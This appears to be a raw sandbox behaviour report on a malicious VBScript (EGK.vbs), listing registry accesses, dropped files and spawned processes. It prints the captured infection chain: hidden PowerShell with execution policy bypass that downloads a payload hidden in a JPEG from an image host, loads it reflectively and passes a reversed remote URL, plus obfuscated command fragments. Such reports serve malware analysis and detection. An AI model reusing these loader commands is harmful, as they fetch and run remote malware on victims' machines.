touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "WScript.exe" touched "Security Manager" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}") "WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}\TREATAS") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "Windows Script Host Shell Object" (Path: "HKCU\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")3f:T1da7,Observed system executable string:"/C:\ PROGRA~3 MICROS~1 WindowsSTARTM~1:((*ProgramsACCESS~1WINDOW~1:''*WINDOW~2.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSxmqzcvbrmu/C:\ PROGRA~3 MICROS~1 WindowsSTARTM~1:((*ProgramsACCESS~1WINDOW~1:''*WINDOW~2.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSxmqzcvbrmu/C:\WindowsWiZ*System32WrZ*WINDOW~1v1.0>:B*powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPSxmqzcvbrmu/C:\WindowsWiZ*hh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPSxmqzcvbrmu" [Source: CD2OWK1HUKQQ5G5TAJW7.temp] Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00001268-00000C41-5631816482] Observed system executable string:""%WINDIR%\System32\cmd.exe" /c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System.IO.File]::Copy('C:\EGK.vbs' 'C:\Use" [Source: 00000000-00001268-00000C41-5631816482], Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001268-00000C41-25525840817], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$#" [Source: 00000000-00001268-00000C41-25525840817], Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00000424-00000C41-2246665884], Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00002792-00000C28-4247712338], Observed system executable string:"%WINDIR%\system32\powershell.exe" [Source: 00000000-00003372-00000C28-15134082714], Observed system executable string:"%WINDIR%\system32\powershell.exe.ps1" [Source: 00000000-00003372-00000C28-15135499124], Observed system executable string:"%WINDIR%\system32\powershell.exe.psm1" [Source: 00000000-00003372-00000C28-15136835240], Observed system executable string:"%WINDIR%\system32\powershell.exe.psd1" [Source: 00000000-00003372-00000C28-15138230140], Observed system executable string:"%WINDIR%\system32\powershell.exe.COM" [Source: 00000000-00003372-00000C28-15139593942], Observed system executable string:"%WINDIR%\system32\powershell.exe.EXE" [Source: 00000000-00003372-00000C28-15140948440], Observed system executable string:"%WINDIR%\system32\powershell.exe.BAT" [Source: 00000000-00003372-00000C28-15142301334], Observed system executable string:"%WINDIR%\system32\powershell.exe.CMD" [Source: 00000000-00003372-00000C28-15144069684], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBS" [Source: 00000000-00003372-00000C28-15145706074], Observed system executable string:"%WINDIR%\system32\powershell.exe.VBE" [Source: 00000000-00003372-00000C28-15147475182], Observed system executable string:"%WINDIR%\system32\powershell.exe.JS" [Source: 00000000-00003372-00000C28-15149702358], Observed system executable string:"%WINDIR%\system32\powershell.exe.JSE" [Source: 00000000-00003372-00000C28-15151257954], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSF" [Source: 00000000-00003372-00000C28-15153310990], Observed system executable string:"%WINDIR%\system32\powershell.exe.WSH" [Source: 00000000-00003372-00000C28-15154964224], Observed system executable string:"%WINDIR%\system32\powershell.exe.MSC" [Source: 00000000-00003372-00000C28-15156675076], Observed system executable string:"%WINDIR%\powershell.exe" [Source: 00000000-00003372-00000C28-15158238012], Observed system executable string:"%WINDIR%\powershell.exe.ps1" [Source: 00000000-00003372-00000C28-15159907504], Observed system executable string:"%WINDIR%\powershell.exe.psm1" [Source: 00000000-00003372-00000C28-15161501710], Observed system executable string:"%WINDIR%\powershell.exe.psd1" [Source: 00000000-00003372-00000C28-15163009090], Observed system executable string:"%WINDIR%\powershell.exe.COM" [Source: 00000000-00003372-00000C28-15164522306], Observed system executable string:"%WINDIR%\powershell.exe.EXE" [Source: 00000000-00003372-00000C28-15166056014], Observed system executable string:"%WINDIR%\powershell.exe.BAT" [Source: 00000000-00003372-00000C28-15167591424], Observed system executable string:"%WINDIR%\powershell.exe.CMD" [Source: 00000000-00003372-00000C28-15169119894], Observed system executable string:"%WINDIR%\powershell.exe.VBS" [Source: 00000000-00003372-00000C28-15171065976], Observed system executable string:"%WINDIR%\powershell.exe.VBE" [Source: 00000000-00003372-00000C28-15172651652], Observed system executable string:"%WINDIR%\powershell.exe.JS" [Source: 00000000-00003372-00000C28-15174294672], Observed system executable string:"%WINDIR%\powershell.exe.JSE" [Source: 00000000-00003372-00000C28-15175855542], Observed system executable string:"%WINDIR%\powershell.exe.WSF" [Source: 00000000-00003372-00000C28-15177431802], Observed system executable string:"%WINDIR%\powershell.exe.WSH" [Source: 00000000-00003372-00000C28-15179035698], Observed system executable string:"%WINDIR%\powershell.exe.MSC" [Source: 00000000-00003372-00000C28-15180642958], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe" [Source: 00000000-00003372-00000C28-15182261250], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.ps1" [Source: 00000000-00003372-00000C28-15183804132], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psm1" [Source: 00000000-00003372-00000C28-15185443366], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psd1" [Source: 00000000-00003372-00000C28-15187064874], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.COM" [Source: 00000000-00003372-00000C28-15188922784], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.EXE" [Source: 00000000-00003372-00000C28-15190416720], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.BAT" [Source: 00000000-00003372-00000C28-15192504292], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.CMD" [Source: 00000000-00003372-00000C28-15194105560], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBS" [Source: 00000000-00003372-00000C28-15195675432], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBE" [Source: 00000000-00003372-00000C28-15197318526], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JS" [Source: 00000000-00003372-00000C28-15198872136], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JSE" [Source: 00000000-00003372-00000C28-15200485496], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSF" [Source: 00000000-00003372-00000C28-15202267286], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSH" [Source: 00000000-00003372-00000C28-15203884540], Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.MSC" [Source: 00000000-00003372-00000C28-15205431798], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imag" [Source: 00000000-00003372-00000C41-15489638280]40:T1614,Observed system executable string:"oWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd, 0, True Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True) WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("-----------------------") WcnInfoFile.WriteLine("+ WCN Files Information ") WcnInfoFile.WriteLine("-----------------------") WcnInfoFile.WriteLine("") strComputer = "." Set shell = WScript.CreateObject( "WScript.Shell" ) windir = shell.ExpandEnvironmentStrings("%windir%\system32\") Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Dim FileSet FileSet = Array("wcncsvc.dll", "wcnapi.dll", "fdwcn.dll", "wcneapauthproxy.dll", "wcneappeerproxy.dll", "wcnwiz.dll", "wcnnetsh.dll", "wczdlg.dll") For Each file in FileSet filename = windir + file strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'" Set fileProp = objWMIService.ExecQ" [Source: EGK.vbs.bin] Observed system executable string:"d /c netsh wlan show device >> " & outputFileName cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd 0 True Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True) WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("----------------------") WcnInfoFile.WriteLine("+ Dump wcncsvc RegKey ") WcnInfoFile.WriteLine("----------------------") WcnInfoFile.WriteLine("") WcnInfoFile.Close cmd = "cmd /c reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wcncsvc\Parameters >> " & outputFileName cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd 0 True' Set shell = WScript.CreateObject( "WScript.Shell" )' windir = shell.ExpandEnvironmentStrings("%windir%\system32\")' filename = windir + "wcnwiz.dll"' commandname = windir + "rundll32.exe"' cmd = "cm" [Source: EGK.vbs.bin] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00001268-00000C25-19349949] Observed system executable string:"%WINDIR%\system32\CRYPT32.dll" [Source: 00000000-00001268-00000C25-19517375] Observed system executable string:"%WINDIR%\system32\wshext.dll" [Source: 00000000-00001268-00000C25-19583996] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00002792-00000C25-23909386] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00002792-00000C25-25050115] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" [Source: 00000000-00002792-00000C25-25214426] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" [Source: 00000000-00002792-00000C25-25615561] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll" [Source: 00000000-00002792-00000C25-25653983] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll" [Source: 00000000-00002792-00000C25-25693522] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll" [Source: 00000000-00002792-00000C25-26200282] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" [Source: 00000000-00002792-00000C25-26347724] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002792-00000C25-26491061] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002792-00000C25-26557512] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll" [Source: 00000000-00002792-00000C25-27231122] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll" [Source: 00000000-00002792-00000C25-27389658] Observed system executable string:"%WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll" [Source: 00000000-00002792-00000C25-27421059] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll" [Source: 00000000-00002792-00000C25-27762716] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll" [Source: 00000000-00002792-00000C25-27787888] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll" [Source: 00000000-00002792-00000C25-27821722] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll" [Source: 00000000-00002792-00000C25-27872514] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll" [Source: 00000000-00002792-00000C25-27960458] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll" [Source: 00000000-00002792-00000C25-28001092] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll" [Source: 00000000-00002792-00000C25-28041830]41:T98c,Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System ..." (UID: 00000000-00000424), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003872), Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%A ..." (UID: 00000000-00002896) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPD ..." (UID: 00000000-00002792) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$ ..." (UID: 00000000-00003372) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command " ..." (UID: 00000000-00001464, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.912jhe/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")42:T98c,Spawned process "cmd.exe" with commandline "/c ping 127.0.0.1 -n 5 & cmd.exe /c "powershell -command [System ..." (UID: 00000000-00000424), Spawned process "PING.EXE" with commandline "ping 127.0.0.1 -n 5" (UID: 00000000-00003872), Spawned process "cmd.exe" with commandline "/c "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%A ..." (UID: 00000000-00002896) Spawned process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPD ..." (UID: 00000000-00002792) Spawned process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$ ..." (UID: 00000000-00003372) Spawned process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command " ..." (UID: 00000000-00001464, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.912jhe/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")43:T575,"urlref_httpsuploaddeimagens.com.brimages004563621originaluniverso_vbs.jpeg1690931855_webClient" has type "JPEG image data JFIF standard 1.01 resolution (DPI) density 72x72 segment length 16 progressive precision 8 2560x1600 components 3"- [targetUID: 00000000-00001268] "LD.vbs" has type "Little-endian UTF-16 Unicode text with very long lines with CRLF line terminators"- [targetUID: 00000000-00001268] "dism.log" has type "data"- [targetUID: 00000000-00001268] "Tar187.tmp" has type "data"- Location: [%TEMP%\Tar187.tmp]- [targetUID: 00000000-00001464] "DISMHOST.EXE.64DA5164.bin" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: 00000000-00001268] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001464] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00001464] "Cab186.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 63843 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab186.tmp]- [targetUID: 00000000-00001464]44:T87d,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "")45:Tf6d,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESMYCOMPUTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOPROPERTIESRECYCLEBIN"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCONTROLPANEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOSETFOLDERS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOINTERNETICON"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NOCOMMONGROUPS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: 